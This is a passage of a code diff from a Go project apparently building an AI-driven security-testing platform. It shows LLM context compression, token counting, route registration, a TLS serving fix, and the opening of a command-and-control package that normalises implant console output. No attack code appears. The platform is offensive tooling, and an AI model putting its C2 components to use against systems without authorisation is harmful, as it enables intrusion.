cfg.CompletionClient = NewOpenAICompletionClient(cfg.OpenAIConfig, cfg.HTTPClient, cfg.Logger)
|
|
||||||
}
|
|
||||||
|
|
||||||
return &MemoryCompressor{
|
|
||||||
maxTotalTokens: cfg.MaxTotalTokens,
|
|
||||||
minRecentMessage: cfg.MinRecentMessage,
|
|
||||||
maxImages: cfg.MaxImages,
|
|
||||||
chunkSize: cfg.ChunkSize,
|
|
||||||
summaryModel: cfg.SummaryModel,
|
|
||||||
timeout: cfg.Timeout,
|
|
||||||
tokenCounter: cfg.TokenCounter,
|
|
||||||
completionClient: cfg.CompletionClient,
|
|
||||||
logger: cfg.Logger,
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// UpdateConfig 更新OpenAI配置(用于动态更新模型配置)
|
|
||||||
func (mc *MemoryCompressor) UpdateConfig(cfg *config.OpenAIConfig) {
|
|
||||||
if cfg == nil {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// 更新summaryModel字段
|
|
||||||
if cfg.Model != "" {
|
|
||||||
mc.summaryModel = cfg.Model
|
|
||||||
}
|
|
||||||
|
|
||||||
// 更新completionClient中的配置(如果是OpenAICompletionClient)
|
|
||||||
if openAIClient, ok := mc.completionClient.(*OpenAICompletionClient); ok {
|
|
||||||
openAIClient.UpdateConfig(cfg)
|
|
||||||
mc.logger.Info("MemoryCompressor配置已更新",
|
|
||||||
zap.String("model", cfg.Model),
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// CompressHistory 根据 Token 限制压缩历史消息。reservedTokens 为预留给 tools 等非消息内容的 token 数,压缩时使用 (maxTotalTokens - reservedTokens) 作为消息上限。
|
|
||||||
func (mc *MemoryCompressor) CompressHistory(ctx context.Context, messages []ChatMessage, reservedTokens int) ([]ChatMessage, bool, error) {
|
|
||||||
if len(messages) == 0 {
|
|
||||||
return messages, false, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
mc.handleImages(messages)
|
|
||||||
|
|
||||||
systemMsgs, regularMsgs := mc.splitMessages(messages)
|
|
||||||
if len(regularMsgs) <= mc.minRecentMessage {
|
|
||||||
return messages, false, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
effectiveMax := mc.maxTotalTokens
|
|
||||||
if reservedTokens > 0 && reservedTokens < mc.maxTotalTokens {
|
|
||||||
effectiveMax = mc.maxTotalTokens - reservedTokens
|
|
||||||
}
|
|
||||||
|
|
||||||
totalTokens := mc.countTotalTokens(systemMsgs, regularMsgs)
|
|
||||||
if totalTokens <= int(float64(effectiveMax)*0.9) {
|
|
||||||
return messages, false, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
recentStart := len(regularMsgs) - mc.minRecentMessage
|
|
||||||
recentStart = mc.adjustRecentStartForToolCalls(regularMsgs, recentStart)
|
|
||||||
oldMsgs := regularMsgs[:recentStart]
|
|
||||||
recentMsgs := regularMsgs[recentStart:]
|
|
||||||
|
|
||||||
mc.logger.Info("memory compression triggered",
|
|
||||||
zap.Int("total_tokens", totalTokens),
|
|
||||||
zap.Int("max_total_tokens", mc.maxTotalTokens),
|
|
||||||
zap.Int("reserved_tokens", reservedTokens),
|
|
||||||
zap.Int("effective_max", effectiveMax),
|
|
||||||
zap.Int("system_messages", len(systemMsgs)),
|
|
||||||
zap.Int("regular_messages", len(regularMsgs)),
|
|
||||||
zap.Int("old_messages", len(oldMsgs)),
|
|
||||||
zap.Int("recent_messages", len(recentMsgs)))
|
|
||||||
|
|
||||||
var compressed []ChatMessage
|
|
||||||
for i := 0; i < len(oldMsgs); i += mc.chunkSize {
|
|
||||||
end := i + mc.chunkSize
|
|
||||||
if end > len(oldMsgs) {
|
|
||||||
end = len(oldMsgs)
|
|
||||||
}
|
|
||||||
chunk := oldMsgs[i:end]
|
|
||||||
if len(chunk) == 0 {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
summary, err := mc.summarizeChunk(ctx, chunk)
|
|
||||||
if err != nil {
|
|
||||||
mc.logger.Warn("chunk summary failed, fallback to raw chunk",
|
|
||||||
zap.Error(err),
|
|
||||||
zap.Int("start", i),
|
|
||||||
zap.Int("end", end))
|
|
||||||
compressed = append(compressed, chunk...)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
compressed = append(compressed, summary)
|
|
||||||
}
|
|
||||||
|
|
||||||
finalMessages := make([]ChatMessage, 0, len(systemMsgs)+len(compressed)+len(recentMsgs))
|
|
||||||
finalMessages = append(finalMessages, systemMsgs...)
|
|
||||||
finalMessages = append(finalMessages, compressed...)
|
|
||||||
finalMessages = append(finalMessages, recentMsgs...)
|
|
||||||
|
|
||||||
return finalMessages, true, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (mc *MemoryCompressor) handleImages(messages []ChatMessage) {
|
|
||||||
if mc.maxImages <= 0 {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
count := 0
|
|
||||||
for i := len(messages) - 1; i >= 0; i-- {
|
|
||||||
content := messages[i].Content
|
|
||||||
if !strings.Contains(content, "[IMAGE]") {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
count++
|
|
||||||
if count > mc.maxImages {
|
|
||||||
messages[i].Content = "[Previously attached image removed to preserve context]"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (mc *MemoryCompressor) splitMessages(messages []ChatMessage) (systemMsgs, regularMsgs []ChatMessage) {
|
|
||||||
for _, msg := range messages {
|
|
||||||
if strings.EqualFold(msg.Role, "system") {
|
|
||||||
systemMsgs = append(systemMsgs, msg)
|
|
||||||
} else {
|
|
||||||
regularMsgs = append(regularMsgs, msg)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
func (mc *MemoryCompressor) countTotalTokens(systemMsgs, regularMsgs []ChatMessage) int {
|
|
||||||
total := 0
|
|
||||||
for _, msg := range systemMsgs {
|
|
||||||
total += mc.countTokens(msg.Content)
|
|
||||||
}
|
|
||||||
for _, msg := range regularMsgs {
|
|
||||||
total += mc.countTokens(msg.Content)
|
|
||||||
}
|
|
||||||
return total
|
|
||||||
}
|
|
||||||
|
|
||||||
// getModelName 获取当前使用的模型名称(优先从completionClient获取最新配置)
|
|
||||||
func (mc *MemoryCompressor) getModelName() string {
|
|
||||||
// 如果completionClient是OpenAICompletionClient,从它获取最新的模型名称
|
|
||||||
if openAIClient, ok := mc.completionClient.(*OpenAICompletionClient); ok {
|
|
||||||
if openAIClient.config != nil && openAIClient.config.Model != "" {
|
|
||||||
return openAIClient.config.Model
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 否则使用保存的summaryModel
|
|
||||||
return mc.summaryModel
|
|
||||||
}
|
|
||||||
|
|
||||||
func (mc *MemoryCompressor) countTokens(text string) int {
|
|
||||||
if mc.tokenCounter == nil {
|
|
||||||
return len(text) / 4
|
|
||||||
}
|
|
||||||
modelName := mc.getModelName()
|
|
||||||
count, err := mc.tokenCounter.Count(modelName, text)
|
|
||||||
if err != nil {
|
|
||||||
return len(text) / 4
|
|
||||||
}
|
|
||||||
return count
|
|
||||||
}
|
|
||||||
|
|
||||||
// CountTextTokens 对外暴露的文本 Token 计数,用于统计 tools 等非消息内容的 token(如 agent 侧序列化 tools 后计数)。
|
|
||||||
func (mc *MemoryCompressor) CountTextTokens(text string) int {
|
|
||||||
return mc.countTokens(text)
|
|
||||||
}
|
|
||||||
|
|
||||||
// totalTokensFor provides token statistics without mutating the message list.
|
|
||||||
func (mc *MemoryCompressor) totalTokensFor(messages []ChatMessage) (totalTokens int, systemCount int, regularCount int) {
|
|
||||||
if len(messages) == 0 {
|
|
||||||
return 0, 0, 0
|
|
||||||
}
|
|
||||||
systemMsgs, regularMsgs := mc.splitMessages(messages)
|
|
||||||
return mc.countTotalTokens(systemMsgs, regularMsgs), len(systemMsgs), len(regularMsgs)
|
|
||||||
}
|
|
||||||
|
|
||||||
func (mc *MemoryCompressor) summarizeChunk(ctx context.Context, chunk []ChatMessage) (ChatMessage, error) {
|
|
||||||
if len(chunk) == 0 {
|
|
||||||
return ChatMessage{}, errors.New("chunk is empty")
|
|
||||||
}
|
|
||||||
formatted := make([]string, 0, len(chunk))
|
|
||||||
for _, msg := range chunk {
|
|
||||||
formatted = append(formatted, fmt.Sprintf("%s: %s", msg.Role, mc.extractMessageText(msg)))
|
|
||||||
}
|
|
||||||
conversation := strings.Join(formatted, "\n")
|
|
||||||
prompt := fmt.Sprintf(summaryPromptTemplate, conversation)
|
|
||||||
|
|
||||||
// 使用动态获取的模型名称,而不是保存的summaryModel
|
|
||||||
modelName := mc.getModelName()
|
|
||||||
summary, err := mc.completionClient.Complete(ctx, modelName, prompt, mc.timeout)
|
|
||||||
if err != nil {
|
|
||||||
return ChatMessage{}, err
|
|
||||||
}
|
|
||||||
summary = strings.TrimSpace(summary)
|
|
||||||
if summary == "" {
|
|
||||||
return chunk[0], nil
|
|
||||||
}
|
|
||||||
|
|
||||||
return ChatMessage{
|
|
||||||
Role: "assistant",
|
|
||||||
Content: fmt.Sprintf("<context_summary message_count='%d'>%s</context_summary>", len(chunk), summary),
|
|
||||||
}, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (mc *MemoryCompressor) extractMessageText(msg ChatMessage) string {
|
|
||||||
return msg.Content
|
|
||||||
}
|
|
||||||
|
|
||||||
func (mc *MemoryCompressor) adjustRecentStartForToolCalls(msgs []ChatMessage, recentStart int) int {
|
|
||||||
if recentStart <= 0 || recentStart >= len(msgs) {
|
|
||||||
return recentStart
|
|
||||||
}
|
|
||||||
|
|
||||||
adjusted := recentStart
|
|
||||||
for adjusted > 0 && strings.EqualFold(msgs[adjusted].Role, "tool") {
|
|
||||||
adjusted--
|
|
||||||
}
|
|
||||||
|
|
||||||
if adjusted != recentStart {
|
|
||||||
mc.logger.Debug("adjusted recent window to keep tool call context",
|
|
||||||
zap.Int("original_recent_start", recentStart),
|
|
||||||
zap.Int("adjusted_recent_start", adjusted),
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
return adjusted
|
|
||||||
}
|
|
||||||
|
|
||||||
// TokenCounter 用于计算文本Token数量。
|
|
||||||
type TokenCounter interface {
|
|
||||||
Count(model, text string) (int, error)
|
|
||||||
}
|
|
||||||
|
|
||||||
// TikTokenCounter 基于 tiktoken 的 Token 统计器。
|
|
||||||
type TikTokenCounter struct {
|
|
||||||
mu sync.RWMutex
|
|
||||||
cache map[string]*tiktoken.Tiktoken
|
|
||||||
fallbackEncoding *tiktoken.Tiktoken
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewTikTokenCounter 创建新的 TikTokenCounter。
|
|
||||||
func NewTikTokenCounter() *TikTokenCounter {
|
|
||||||
return &TikTokenCounter{
|
|
||||||
cache: make(map[string]*tiktoken.Tiktoken),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Count 实现 TokenCounter 接口。
|
|
||||||
func (tc *TikTokenCounter) Count(model, text string) (int, error) {
|
|
||||||
enc, err := tc.encodingForModel(model)
|
|
||||||
if err != nil {
|
|
||||||
return len(text) / 4, err
|
|
||||||
}
|
|
||||||
tokens := enc.Encode(text, nil, nil)
|
|
||||||
return len(tokens), nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func (tc *TikTokenCounter) encodingForModel(model string) (*tiktoken.Tiktoken, error) {
|
|
||||||
tc.mu.RLock()
|
|
||||||
if enc, ok := tc.cache[model]; ok {
|
|
||||||
tc.mu.RUnlock()
|
|
||||||
return enc, nil
|
|
||||||
}
|
|
||||||
tc.mu.RUnlock()
|
|
||||||
|
|
||||||
tc.mu.Lock()
|
|
||||||
defer tc.mu.Unlock()
|
|
||||||
|
|
||||||
if enc, ok := tc.cache[model]; ok {
|
|
||||||
return enc, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
enc, err := tiktoken.EncodingForModel(model)
|
|
||||||
if err != nil {
|
|
||||||
if tc.fallbackEncoding == nil {
|
|
||||||
tc.fallbackEncoding, err = tiktoken.GetEncoding("cl100k_base")
|
|
||||||
if err != nil {
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
tc.cache[model] = tc.fallbackEncoding
|
|
||||||
return tc.fallbackEncoding, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
tc.cache[model] = enc
|
|
||||||
return enc, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// CompletionClient 对话压缩时使用的补全接口。
|
|
||||||
type CompletionClient interface {
|
|
||||||
Complete(ctx context.Context, model string, prompt string, timeout time.Duration) (string, error)
|
|
||||||
}
|
|
||||||
|
|
||||||
// OpenAICompletionClient 基于 OpenAI Chat Completion。
|
|
||||||
type OpenAICompletionClient struct {
|
|
||||||
config *config.OpenAIConfig
|
|
||||||
client *openai.Client
|
|
||||||
logger *zap.Logger
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewOpenAICompletionClient 创建 OpenAICompletionClient。
|
|
||||||
func NewOpenAICompletionClient(cfg *config.OpenAIConfig, client *http.Client, logger *zap.Logger) *OpenAICompletionClient {
|
|
||||||
if logger == nil {
|
|
||||||
logger = zap.NewNop()
|
|
||||||
}
|
|
||||||
return &OpenAICompletionClient{
|
|
||||||
config: cfg,
|
|
||||||
client: openai.NewClient(cfg, client, logger),
|
|
||||||
logger: logger,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// UpdateConfig 更新底层配置。
|
|
||||||
func (c *OpenAICompletionClient) UpdateConfig(cfg *config.OpenAIConfig) {
|
|
||||||
c.config = cfg
|
|
||||||
if c.client != nil {
|
|
||||||
c.client.UpdateConfig(cfg)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Complete 调用OpenAI获取摘要。
|
|
||||||
func (c *OpenAICompletionClient) Complete(ctx context.Context, model string, prompt string, timeout time.Duration) (string, error) {
|
|
||||||
if c.config == nil {
|
|
||||||
return "", errors.New("openai config is required")
|
|
||||||
}
|
|
||||||
if model == "" {
|
|
||||||
return "", errors.New("model name is required")
|
|
||||||
}
|
|
||||||
|
|
||||||
reqBody := OpenAIRequest{
|
|
||||||
Model: model,
|
|
||||||
Messages: []ChatMessage{
|
|
||||||
{Role: "user", Content: prompt},
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
requestCtx := ctx
|
|
||||||
var cancel context.CancelFunc
|
|
||||||
if timeout > 0 {
|
|
||||||
requestCtx, cancel = context.WithTimeout(ctx, timeout)
|
|
||||||
defer cancel()
|
|
||||||
}
|
|
||||||
|
|
||||||
var completion OpenAIResponse
|
|
||||||
if c.client == nil {
|
|
||||||
return "", errors.New("openai completion client not initialized")
|
|
||||||
}
|
|
||||||
if err := c.client.ChatCompletion(requestCtx, reqBody, &completion); err != nil {
|
|
||||||
if apiErr, ok := err.(*openai.APIError); ok {
|
|
||||||
return "", fmt.Errorf("openai completion failed, status: %d, body: %s", apiErr.StatusCode, apiErr.Body)
|
|
||||||
}
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
if completion.Error != nil {
|
|
||||||
return "", errors.New(completion.Error.Message)
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(completion.Choices) == 0 || completion.Choices[0].Message.Content == "" {
|
|
||||||
return "", errors.New("empty completion response")
|
|
||||||
}
|
|
||||||
return completion.Choices[0].Message.Content, nil
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
package agent
|
||||||
|
|
||||||
|
import (
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"github.com/pkoukk/tiktoken-go"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TokenCounter 估算文本 token 数(tiktoken;模型未知时回退 cl100k_base)。
|
||||||
|
type TokenCounter interface {
|
||||||
|
Count(model, text string) (int, error)
|
||||||
|
}
|
||||||
|
|
||||||
|
type tikTokenCounter struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
cache map[string]*tiktoken.Tiktoken
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewTikTokenCounter 创建基于 tiktoken 的 TokenCounter。
|
||||||
|
func NewTikTokenCounter() TokenCounter {
|
||||||
|
return &tikTokenCounter{cache: make(map[string]*tiktoken.Tiktoken)}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *tikTokenCounter) encoding(model string) (*tiktoken.Tiktoken, error) {
|
||||||
|
key := model
|
||||||
|
if key == "" {
|
||||||
|
key = "cl100k_base"
|
||||||
|
}
|
||||||
|
c.mu.Lock()
|
||||||
|
defer c.mu.Unlock()
|
||||||
|
if enc, ok := c.cache[key]; ok {
|
||||||
|
return enc, nil
|
||||||
|
}
|
||||||
|
enc, err := tiktoken.EncodingForModel(key)
|
||||||
|
if err != nil {
|
||||||
|
enc, err = tiktoken.GetEncoding("cl100k_base")
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
c.cache[key] = enc
|
||||||
|
return enc, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *tikTokenCounter) Count(model, text string) (int, error) {
|
||||||
|
if text == "" {
|
||||||
|
return 0, nil
|
||||||
|
}
|
||||||
|
enc, err := c.encoding(model)
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
return len(enc.Encode(text, nil, nil)), nil
|
||||||
|
}
|
||||||
+14
-6
@@ -113,6 +113,7 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
|
|||||||
// 注册漏洞记录工具
|
// 注册漏洞记录工具
|
||||||
registerVulnerabilityTools(mcpServer, db, log.Logger)
|
registerVulnerabilityTools(mcpServer, db, log.Logger)
|
||||||
registerProjectFactTools(mcpServer, db, cfg, log.Logger)
|
registerProjectFactTools(mcpServer, db, cfg, log.Logger)
|
||||||
|
registerVisionTools(mcpServer, cfg, log.Logger)
|
||||||
|
|
||||||
if cfg.Auth.GeneratedPassword != "" {
|
if cfg.Auth.GeneratedPassword != "" {
|
||||||
config.PrintGeneratedPasswordWarning(cfg.Auth.GeneratedPassword, cfg.Auth.GeneratedPasswordPersisted, cfg.Auth.GeneratedPasswordPersistErr)
|
config.PrintGeneratedPasswordWarning(cfg.Auth.GeneratedPassword, cfg.Auth.GeneratedPasswordPersisted, cfg.Auth.GeneratedPasswordPersistErr)
|
||||||
@@ -314,6 +315,14 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
|
|||||||
skillsDir := skillpackage.SkillsRootFromConfig(cfg.SkillsDir, configPath)
|
skillsDir := skillpackage.SkillsRootFromConfig(cfg.SkillsDir, configPath)
|
||||||
log.Logger.Info("Skills 目录(Eino ADK skill 中间件 + Web 管理 API)", zap.String("skillsDir", skillsDir))
|
log.Logger.Info("Skills 目录(Eino ADK skill 中间件 + Web 管理 API)", zap.String("skillsDir", skillsDir))
|
||||||
configDir := filepath.Dir(configPath)
|
configDir := filepath.Dir(configPath)
|
||||||
|
plantaskRel := strings.TrimSpace(cfg.MultiAgent.EinoMiddleware.PlantaskRelDir)
|
||||||
|
if plantaskRel == "" {
|
||||||
|
plantaskRel = ".eino/plantask"
|
||||||
|
}
|
||||||
|
plantaskBase := filepath.Join(skillsDir, plantaskRel)
|
||||||
|
// Match eino_adk_run_loop: checkpoint_dir is used as configured (relative to process CWD when not absolute).
|
||||||
|
checkpointBase := strings.TrimSpace(cfg.MultiAgent.EinoMiddleware.CheckpointDir)
|
||||||
|
db.SetEinoConversationDirs(plantaskBase, checkpointBase)
|
||||||
agent.SetPromptBaseDir(configDir)
|
agent.SetPromptBaseDir(configDir)
|
||||||
|
|
||||||
agentsDir := cfg.AgentsDir
|
agentsDir := cfg.AgentsDir
|
||||||
@@ -418,6 +427,7 @@ func New(cfg *config.Config, log *logger.Logger, configPath string) (*App, error
|
|||||||
vulnerabilityRegistrar := func() error {
|
vulnerabilityRegistrar := func() error {
|
||||||
registerVulnerabilityTools(mcpServer, db, log.Logger)
|
registerVulnerabilityTools(mcpServer, db, log.Logger)
|
||||||
registerProjectFactTools(mcpServer, db, cfg, log.Logger)
|
registerProjectFactTools(mcpServer, db, cfg, log.Logger)
|
||||||
|
registerVisionTools(mcpServer, cfg, log.Logger)
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
configHandler.SetVulnerabilityToolRegistrar(vulnerabilityRegistrar)
|
configHandler.SetVulnerabilityToolRegistrar(vulnerabilityRegistrar)
|
||||||
@@ -801,10 +811,6 @@ func setupRoutes(
|
|||||||
protected.POST("/robot/wechat/qrcode/verify", wechatRobotHandler.HandleWechatVerifyCode)
|
protected.POST("/robot/wechat/qrcode/verify", wechatRobotHandler.HandleWechatVerifyCode)
|
||||||
protected.GET("/robot/wechat/status", wechatRobotHandler.HandleWechatStatus)
|
protected.GET("/robot/wechat/status", wechatRobotHandler.HandleWechatStatus)
|
||||||
|
|
||||||
// Agent Loop
|
|
||||||
protected.POST("/agent-loop", agentHandler.AgentLoop)
|
|
||||||
// Agent Loop 流式输出
|
|
||||||
protected.POST("/agent-loop/stream", agentHandler.AgentLoopStream)
|
|
||||||
// Eino ADK 单代理(ChatModelAgent + Runner;不依赖 multi_agent.enabled)
|
// Eino ADK 单代理(ChatModelAgent + Runner;不依赖 multi_agent.enabled)
|
||||||
protected.POST("/eino-agent", agentHandler.EinoSingleAgentLoop)
|
protected.POST("/eino-agent", agentHandler.EinoSingleAgentLoop)
|
||||||
protected.POST("/eino-agent/stream", agentHandler.EinoSingleAgentLoopStream)
|
protected.POST("/eino-agent/stream", agentHandler.EinoSingleAgentLoopStream)
|
||||||
@@ -882,6 +888,7 @@ func setupRoutes(
|
|||||||
protected.DELETE("/monitor/execution/:id", monitorHandler.DeleteExecution)
|
protected.DELETE("/monitor/execution/:id", monitorHandler.DeleteExecution)
|
||||||
protected.DELETE("/monitor/executions", monitorHandler.DeleteExecutions)
|
protected.DELETE("/monitor/executions", monitorHandler.DeleteExecutions)
|
||||||
protected.GET("/monitor/stats", monitorHandler.GetStats)
|
protected.GET("/monitor/stats", monitorHandler.GetStats)
|
||||||
|
protected.GET("/monitor/calls-timeline", monitorHandler.GetCallsTimeline)
|
||||||
protected.GET("/notifications/summary", notificationHandler.GetSummary)
|
protected.GET("/notifications/summary", notificationHandler.GetSummary)
|
||||||
protected.POST("/notifications/read", notificationHandler.MarkRead)
|
protected.POST("/notifications/read", notificationHandler.MarkRead)
|
||||||
|
|
||||||
@@ -892,6 +899,7 @@ func setupRoutes(
|
|||||||
protected.PUT("/config", configHandler.UpdateConfig)
|
protected.PUT("/config", configHandler.UpdateConfig)
|
||||||
protected.POST("/config/apply", configHandler.ApplyConfig)
|
protected.POST("/config/apply", configHandler.ApplyConfig)
|
||||||
protected.POST("/config/test-openai", configHandler.TestOpenAI)
|
protected.POST("/config/test-openai", configHandler.TestOpenAI)
|
||||||
|
protected.POST("/config/test-vision", configHandler.TestVision)
|
||||||
|
|
||||||
// 系统设置 - 终端(执行命令,提高运维效率)
|
// 系统设置 - 终端(执行命令,提高运维效率)
|
||||||
protected.POST("/terminal/run", terminalHandler.RunCommand)
|
protected.POST("/terminal/run", terminalHandler.RunCommand)
|
||||||
@@ -1066,6 +1074,7 @@ func setupRoutes(
|
|||||||
// 漏洞管理
|
// 漏洞管理
|
||||||
protected.GET("/vulnerabilities", vulnerabilityHandler.ListVulnerabilities)
|
protected.GET("/vulnerabilities", vulnerabilityHandler.ListVulnerabilities)
|
||||||
protected.GET("/vulnerabilities/export", vulnerabilityHandler.ExportVulnerabilities)
|
protected.GET("/vulnerabilities/export", vulnerabilityHandler.ExportVulnerabilities)
|
||||||
|
protected.DELETE("/vulnerabilities/batch", vulnerabilityHandler.BatchDeleteVulnerabilities)
|
||||||
protected.GET("/vulnerabilities/filter-options", vulnerabilityHandler.GetVulnerabilityFilterOptions)
|
protected.GET("/vulnerabilities/filter-options", vulnerabilityHandler.GetVulnerabilityFilterOptions)
|
||||||
protected.GET("/vulnerabilities/stats", vulnerabilityHandler.GetVulnerabilityStats)
|
protected.GET("/vulnerabilities/stats", vulnerabilityHandler.GetVulnerabilityStats)
|
||||||
protected.GET("/vulnerabilities/:id", vulnerabilityHandler.GetVulnerability)
|
protected.GET("/vulnerabilities/:id", vulnerabilityHandler.GetVulnerability)
|
||||||
@@ -1074,6 +1083,7 @@ func setupRoutes(
|
|||||||
protected.DELETE("/vulnerabilities/:id", vulnerabilityHandler.DeleteVulnerability)
|
protected.DELETE("/vulnerabilities/:id", vulnerabilityHandler.DeleteVulnerability)
|
||||||
|
|
||||||
// 项目管理与事实黑板
|
// 项目管理与事实黑板
|
||||||
|
protected.GET("/projects/dashboard-summary", projectHandler.GetDashboardSummary)
|
||||||
protected.GET("/projects", projectHandler.ListProjects)
|
protected.GET("/projects", projectHandler.ListProjects)
|
||||||
protected.POST("/projects", projectHandler.CreateProject)
|
protected.POST("/projects", projectHandler.CreateProject)
|
||||||
protected.GET("/projects/:id/stats", projectHandler.GetProjectStats)
|
protected.GET("/projects/:id/stats", projectHandler.GetProjectStats)
|
||||||
@@ -1082,8 +1092,6 @@ func setupRoutes(
|
|||||||
protected.PUT("/projects/:id", projectHandler.UpdateProject)
|
protected.PUT("/projects/:id", projectHandler.UpdateProject)
|
||||||
protected.DELETE("/projects/:id", projectHandler.DeleteProject)
|
protected.DELETE("/projects/:id", projectHandler.DeleteProject)
|
||||||
protected.GET("/projects/:id/facts", projectHandler.ListFacts)
|
protected.GET("/projects/:id/facts", projectHandler.ListFacts)
|
||||||
protected.GET("/projects/:id/facts/:factId/previous-version", projectHandler.GetFactPreviousVersion)
|
|
||||||
protected.GET("/projects/:id/facts/:factId/versions", projectHandler.ListFactVersions)
|
|
||||||
protected.POST("/projects/:id/facts", projectHandler.CreateFact)
|
protected.POST("/projects/:id/facts", projectHandler.CreateFact)
|
||||||
protected.PUT("/projects/:id/facts/:factId", projectHandler.UpdateFact)
|
protected.PUT("/projects/:id/facts/:factId", projectHandler.UpdateFact)
|
||||||
protected.DELETE("/projects/:id/facts/:factId", projectHandler.DeleteFact)
|
protected.DELETE("/projects/:id/facts/:factId", projectHandler.DeleteFact)
|
||||||
|
|||||||
@@ -47,6 +47,24 @@ func (l *oneConnListener) Accept() (net.Conn, error) {
|
|||||||
func (l *oneConnListener) Close() error { return nil }
|
func (l *oneConnListener) Close() error { return nil }
|
||||||
func (l *oneConnListener) Addr() net.Addr { return l.addr }
|
func (l *oneConnListener) Addr() net.Addr { return l.addr }
|
||||||
|
|
||||||
|
// httpServerForTLSConn 从已有 Server 复制可服务字段,用于已握手 TLS 连接上的 HTTP 服务。
|
||||||
|
// 不能复制整个 http.Server(内含 atomic/noCopy 字段)。
|
||||||
|
func httpServerForTLSConn(src *http.Server) *http.Server {
|
||||||
|
return &http.Server{
|
||||||
|
Handler: src.Handler,
|
||||||
|
DisableGeneralOptionsHandler: src.DisableGeneralOptionsHandler,
|
||||||
|
ReadTimeout: src.ReadTimeout,
|
||||||
|
ReadHeaderTimeout: src.ReadHeaderTimeout,
|
||||||
|
WriteTimeout: src.WriteTimeout,
|
||||||
|
IdleTimeout: src.IdleTimeout,
|
||||||
|
MaxHeaderBytes: src.MaxHeaderBytes,
|
||||||
|
ConnState: src.ConnState,
|
||||||
|
ErrorLog: src.ErrorLog,
|
||||||
|
BaseContext: src.BaseContext,
|
||||||
|
ConnContext: src.ConnContext,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func isTLSHandshakeRecord(b byte) bool {
|
func isTLSHandshakeRecord(b byte) bool {
|
||||||
return b == 0x16
|
return b == 0x16
|
||||||
}
|
}
|
||||||
@@ -172,8 +190,7 @@ func (m *mainServerMux) serveHTTPS(pc *peekedConn, localAddr net.Addr) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
plain := *srv
|
plain := httpServerForTLSConn(srv)
|
||||||
plain.TLSConfig = nil
|
|
||||||
ocl := &oneConnListener{conn: tlsConn, addr: localAddr}
|
ocl := &oneConnListener{conn: tlsConn, addr: localAddr}
|
||||||
if err := plain.Serve(ocl); err != nil && !errors.Is(err, net.ErrClosed) && !errors.Is(err, http.ErrServerClosed) {
|
if err := plain.Serve(ocl); err != nil && !errors.Is(err, net.ErrClosed) && !errors.Is(err, http.ErrServerClosed) {
|
||||||
m.logger.Debug("HTTPS 连接处理结束", zap.Error(err))
|
m.logger.Debug("HTTPS 连接处理结束", zap.Error(err))
|
||||||
|
|||||||
@@ -0,0 +1,13 @@
|
|||||||
|
package app
|
||||||
|
|
||||||
|
import (
|
||||||
|
"cyberstrike-ai/internal/config"
|
||||||
|
"cyberstrike-ai/internal/mcp"
|
||||||
|
"cyberstrike-ai/internal/vision"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func registerVisionTools(mcpServer *mcp.Server, cfg *config.Config, logger *zap.Logger) {
|
||||||
|
vision.RegisterAnalyzeImageTool(mcpServer, cfg, logger)
|
||||||
|
}
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
package c2
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/base64"
|
||||||
|
"strings"
|
||||||
|
"unicode/utf8"
|
||||||
|
|
||||||
|
"golang.org/x/text/encoding/simplifiedchinese"
|
||||||
|
"golang.org/x/text/transform"
|
||||||
|
)
|
||||||
|
|
||||||
|
// NormalizeConsoleOutput 将 implant/Shell 原始控制台字节转为 UTF-8 文本。
|
||||||
|
// osTag 来自会话的 os 字段(如 windows / Windows 10);空值时按 auto 处理。
|
||||||
|
func NormalizeConsoleOutput(raw []byte, osTag string) string {
|
||||||
|
if len(raw) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
